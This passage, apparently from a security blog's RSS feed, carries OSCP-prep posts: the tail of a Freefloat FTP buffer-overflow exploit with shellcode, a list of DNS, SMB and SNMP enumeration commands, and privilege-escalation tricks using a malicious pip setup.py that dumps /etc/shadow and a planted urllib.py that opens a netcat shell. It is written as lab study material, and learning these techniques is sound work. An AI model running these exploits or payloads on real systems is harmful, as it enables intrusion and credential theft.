    "\xaa\x4a\x90\x75\xa4\xdd\xe3\x47\x6b\x76\x6b\xe4\xe4\x50\x6c"
    "\x0b\xdf\x25\xe2\xf2\xe0\x55\x2b\x31\xb4\x05\x43\x90\xb5\xcd"
    "\x93\x1d\x60\x41\xc3\xb1\xdb\x22\xb3\x71\x8c\xca\xd9\x7d\xf3"
    "\xeb\xe2\x57\x9c\x86\x19\x30\x63\xfe\x19\x43\x0b\xfd\x59\x42"
    "\x77\x88\xbf\x2e\x97\xdd\x68\xc7\x0e\x44\xe2\x76\xce\x52\x8f"
    "\xb9\x44\x51\x70\x77\xad\x1c\x62\xe0\x5d\x6b\xd8\xa7\x62\x41"
    "\x74\x2b\xf0\x0e\x84\x22\xe9\x98\xd3\x63\xdf\xd0\xb1\x99\x46"
    "\x4b\xa7\x63\x1e\xb4\x63\xb8\xe3\x3b\x6a\x4d\x5f\x18\x7c\x8b"
    "\x60\x24\x28\x43\x37\xf2\x86\x25\xe1\xb4\x70\xfc\x5e\x1f\x14"
    "\x79\xad\xa0\x62\x86\xf8\x56\x8a\x37\x55\x2f\xb5\xf8\x31\xa7"
    "\xce\xe4\xa1\x48\x05\xad\xd2\x02\x07\x84\x7a\xcb\xd2\x94\xe6"
    "\xec\x09\xda\x1e\x6f\xbb\xa3\xe4\x6f\xce\xa6\xa1\x37\x23\xdb"
    "\xba\xdd\x43\x48\xba\xf7")
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # Connect to FTP Server:
    print("[+] Connecting to FTP Server")
    s.connect((IP, PORT))
    data = s.recv(1024)
    print(data)
    
    # Overflow USER Parameter
    print("[+] Overflowing USER Paramter")
    buf = ""
    buf += "A" * EIP_OFFSET
    buf += JMP_ESP
    buf += "\x90"*20
    buf += SHELLCODE
    
    s.send("USER " + buf + "\r\n")
    
    # Close the connection
    s.close()

Let’s talk about the shellcode for a second (THIS IS IMPORTANT). When we generated the shellcode we had to exclude the bad characters from the payload and that means encoding the payload. In this instance, the payload was encoded with Shikata Ga Nai as can be seen in the image above. This is not a problem however, the process flow is going to be a bit different in that the shellcode has not only our exploit in it, it also has a decoding instruction set to decode our exploit. That decoding needs a bit of extra space at the beginning of the exploit and as such, we pad the payload with 20 NOP bytes (\x90). The \x90’s are ignored and are what is called a NOP sled. The program will run as usual and just ignore the \x90’s. Now, let’s set up a listener and run our exploit.

Exploit and Catch Shell

Freefloat FTP Remote Buffer Overflow
Joshua

]]>
https://sevrosecurity.com/2018/08/04/freefloat-ftp-remote-buffer-overflow/feed/ 0
OSCP: Week 1 & 2 https://sevrosecurity.com/2018/06/18/oscp-week-1-2/ https://sevrosecurity.com/2018/06/18/oscp-week-1-2/#respond Tue, 19 Jun 2018 01:08:43 +0000 https://sevrosecurity.com/?p=980 Sevro Security
OSCP: Week 1 & 2

Okay, so I said I would post each week but, work and OSCP have not really allotted me much free time to digest my thoughts and processes a good write-up. Long story short, I started on June 2nd and I just buttoned up my 2nd...

OSCP: Week 1 & 2
Joshua

]]>
Sevro Security
OSCP: Week 1 & 2

Okay, so I said I would post each week but, work and OSCP have not really allotted me much free time to digest my thoughts and processes a good write-up. Long story short, I started on June 2nd and I just buttoned up my 2nd week. First, I want to address some OSCP specific takeaways then move on to the technical learnings over the last two weeks.

Progress to-date:

  • 2/3’s completed with the PDF
  • 2 Boxes Rooted

[hr]

OSCP Non-Technical:

I won’t include a non-technical section in each post but, I thought this would be useful as I made some mistakes right off from the get-go that if I would have paid closer attention to, would have saved me a good amount of time. So, this is more of an advise section. Learn from my F-ups.

  1. Just read the PDF… Do not jump straight into the labs. I know I know, you’ve done 30+ HTB machines are a pro-hacker/Elite hacker but, this is not HTB. Take the time because OffSec lays everything out so damn perfect for you. The labs are effectively your enumeration of the whole network. Take it a page at a time and don’t just jump into the lab thinking you’re the shit because you’re wrong.
  2. Cherrytree: This is how I have been taking notes when doing HTB or Vulnhub boxes. I suggest creating two CherryTree instances (1. Exercise Notes/Takeaways, 2. Lab Machine Notes/write-ups). If you’re like me, you’re going to do all the exercises in order to possibly get the extra points towards the exam. The Cherrytree writeups/notes should serve as a platform you can refer to while writing your formal detailed report for both reports (Exercise/Lab Formal Report, and Final Exam Formal Report).
  3. Buffer Overflows: OffSec does a great job in explaining buffer overflows. But, if you’re like me and want to prep before your start date, check this out. This is by far the most comprehensive and detailed buffer overflow practice for a Windows binary I have found. It’s amazing and you should follow @justinsteven on twitter! Dude did a huge service in designing this practice!

OSCP Technical:

This might be something many of you already know but, there were a lot of takeaways that I feel should be mentioned in regards to service enumeration. For example, after an nmap scan you may see a ton of ports open but, how you do prioritize which services to dig into first? Well, I don’t have an answer for you at this point in time but, the better question that I ask myself if how the hell do I PROPERLY and FULLY enumerate this service? Seriously, more times then not I end up going back to a service I already enumerated only to find the exploit/data I needed was in front of me all this time. So, in order to mitigate some of that frustration, let’s take a high, fast view of basic enumeration I am using today for common services.

DNS:

# Preliminary DNS Check:

host sevrosecurity.com
host -t ns sevrosecurity.com
host -t mx sevrosecurity.com

# Zone transfer Checks:

host -l sevrosecurity.com ns1.digitalocean.com

# Automated checks:

dnsenum hackthissite.org
dnsrecon -d hackthissite.org

# Forward Lookup Brute Force:

dnsrecon -d hackthissite.org -t brt

[hr]

SMB/NetBios:

# Preliminary Techniques:

enum4linux <ip> 
nbtscan -r <ip>
rpcclient <ip> -U ""     # Null Session Enumeration: really nice for enumerating users vai RID!
smbclient -L //<ip>
nmblookup <ip>

# RID Cycling: 
## Can be done manually with rpcclient and enum4linux often catches the RID users as well.

ridenum.py <ip> 50 70000 name_dictionary.txt
use auxiliary/scanner/smb/smb_lookupsid

[hr]

SNMP:

# Find Hosts:
nmap -sU --open -p 161 10.10.10.0/24 -oG SNMP_hosts.txt

# Use onesixtyone with list of IP's
onesixtyone -i SNMP_hosts.txt

# Enumeration Windows Users w/ SNMP Walk:
snmpwalk -c public -v1 <ip> 1.3.6.1.4.1.77.1.2.25

#Enumerate Running Windows Processes:
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.6.13.1.3

#Enumerate Windows Software/Hotpatches:
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.6.3.1.2

[hr]

I know, this is a short list. This is by no means an all-encompassing list. In reality, this will be adapted and changed with more specifics the more I learn and adapt to better processes. However, here is a phenomenal list of enumeration techniques by HighOnCoffee. Obviously, there are a ton of other services as well, and we will touch on those! Not as much information in this post as my other posts but, there is a-lot more to come. I have a TON of tricks and tips that will need to be documented here in several blog posts. More specifically, Windows. I SUCK at windows post-exploitation so, I will document that heavily here.

OSCP: Week 1 & 2
Joshua

]]>
https://sevrosecurity.com/2018/06/18/oscp-week-1-2/feed/ 0
OSCP Preperation 3 https://sevrosecurity.com/2018/05/29/oscp-preperation-3/ https://sevrosecurity.com/2018/05/29/oscp-preperation-3/#respond Wed, 30 May 2018 03:16:10 +0000 https://sevrosecurity.com/?p=952 Sevro Security
OSCP Preperation 3

There were a few awesome tips and tricks I learned over the last week, primarily dealing with Python and sudo access. Full disclosure, I don’t write Python 2. The reason is that Python 3 has been out for 10 years and Python 2’s EOL is...

OSCP Preperation 3
Joshua

]]>
Sevro Security
OSCP Preperation 3

There were a few awesome tips and tricks I learned over the last week, primarily dealing with Python and sudo access. Full disclosure, I don’t write Python 2. The reason is that Python 3 has been out for 10 years and Python 2’s EOL is in 2020. It’s still important to understand the Python’isms but, I prefer 3. The examples below should work for both Python2 and 3. The topics we’re going to touch on today are:

  1. Pip Install – Arbitrary Code Execution
  2. Python Library Manipulation Local Code Execution

[hr]

Pip Arbitrary Code Execution:

Okay, the hypothetical situation here is that you have sudo access to pip install as a standard user. This assumes that if sudo requires the user’s password you have it, or that sudo does not require a password at all.  The question is, how can we abuse this to obtain information otherwise inaccessible.

There’s no way to issue commands via the pip CLI tool itself like other common Linux tools. However, if we put our dev hats on for a bit, we know that python packages are more complex and require a setup of sorts for a proper install. In our case, we can generate our own “Fake” python package using python setuptools along with the command.develop class.

First, create a directory for your package. I’m calling mine fake_package.

Second, generate setup.py as seen below:

from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install
from subprocess import check_call
import os

class PostDevelopmentCommand(develop):
    def run(self):
        os.system("cat /etc/shadow > /home/josh/shadow.txt")
        os.system("chmod 777 /home/josh/shadow.txt")
        develop.run(self)

setup(
    name='josh',
    version='0.4',
    cmdclass={
        'develop': PostDevelopmentCommand,}
)

This code will reside within a python file called setup.py and is required for any python package as it is one of the first things pip will look for once you run the pip install command.

We can then compile the package with the following command:

python setup.py sdist bdist_wheel

After the successful build, we can then attempt to install it using sudo pip install:

josh@kali:~$ ls
fake_package

josh@kali:~$ sudo /usr/bin/pip install -e fake_package/
Obtaining file:///home/josh/fake_package
Installing collected packages: josh
  Found existing installation: josh 0.4
    Can't uninstall 'josh'. No files were found to uninstall.
  Running setup.py develop for josh
Successfully installed josh

josh@kali:~$ ls -l
total 8
drwxr-xr-x 5 josh josh 4096 May 29 20:53 fake_package
-rwxrwxrwx 1 root root 1757 May 29 21:02 shadow.txt

josh@kali:~$ cat shadow.txt 
root:$6$7NT7AsUX$p7q9WeC2Kr/ueLA4ZTvtzzuQp913xz364PCVkNhlpzdfUtUfAGoKLYtOghUabhOsih/Js4bf.HFEgz/zVlJpF0:17681:0:99999:7:::
daemon:*:17557:0:99999:7:::
bin:*:17557:0:99999:7:::
sys:*:17557:0:99999:7:::
sync:*:17557:0:99999:7:::
games:*:17557:0:99999:7:::
beef-xss:*:17557:0:99999:7:::
Debian-snmp:!:17641:0:99999:7:::
inetsim:*:17641:0:99999:7:::
systemd-coredump:!!:17641::::::
josh:$6$Cg19eEyK$mHOt6miBry/jcf40aES.ReL9.8GNArez.IjAsVvoyY9iSdtfQ1cF2rWJgvITE1aLsQoP0SwNgak/pPs/Div2/1:17681:0:99999:7:::

We were able to pull the shadow file with no issues. How about a reverse shell?

Pip Install Reverse Shell

And there we have it. A full root reverse shell via Pip Arbitrary Code Execution.

[hr]

Python Library Manipulation for Local Code Execution:

Okay, another fun and hypothetical situation. You have access to a python script and such access requires you to have sudo permissions to the script. You’re unable to edit the script but you can sure as hell execute and read it. Where does this leave you as far as privilege escalation is concerned?

Well, to answer that question you need to figure out what is the script doing and how is it doing it. Let’s take a look at an example program I wrote:

import urllib

def hello():
    print("Hello Internet")
    print(urllib.__file__)

if __name__ == "__main__":
    hello()

In this simple program, we’ve defined a hello function that does two things. First, it prints Hello Internet and secondly, it prints the path of the urllib python library. Let’s take a look at the script’s output:

Python 2:

josh@kali:~$ python hello.py 
Hello Internet
/usr/lib/python2.7/urllib.pyc

Python 3:

josh@kali:~$ python3 hello.py 
Hello Internet
/usr/lib/python3.6/urllib/__init__.py

The output successfully prints the Hello Internet string and the path of the urllib library. The locations of the library are different subject to the python version, which is to be expected. For more on how Python looks up its libraries, read this awesome post by Lee On Coding.

One thing people overlook but, most of us who have programmed Python for a living have experienced, is that Python will look in the current working directory (most times) before running to the default library path. What does this mean? Well, we could possibly load a malicious library by adding in our own “Fake Library” within the current working directory.

Let’s take a look at how this all works (Works for both Python2 and Python3).

  1. Taking a look at the file permissions. We can see root owns the Python Program and we are unable to edit the file.
  2. Looking at our sudo permissions, we can see we have sudo access to the file and any python version to run it.
  3. When we run the program with sudo rights we obtain the same information as before:
  4. We know the program is importing the urllib library. Let’s see if we can manipulate it by adding our own urllib.py to the current working directory.
    import os                                                                                                                        │
                                                                                                                                     │
    os.system("echo EVIL LIBRARY")

    And when we run the program again we get the following output:

    Evil urllib

Two things have changed in the output. First, we were able to print a message via an echo system command through our fake urllib.py. Second, the path for the urllib.py has changed to our current working directory. So, what if we wanted to pop a reverse root shell? Easy, we change the script to the following and re-run the python program while we have a netcat lister up and running:

import os                                                                                                                        │
                                                                                                                                 │
os.system("nc localhost 1337 -e /bin/bash")

run the program and we get a root shell:

Root Shell

[hr]

I do have a bunch more that was learned over the last week but that would make this post a bit lengthy. I’ll hold off and maybe do a second post this week regard MySQL one liners for DB enumeration and using wget with HTTP’s Post.

 

OSCP Preperation 3
Joshua

]]>
https://sevrosecurity.com/2018/05/29/oscp-preperation-3/feed/ 0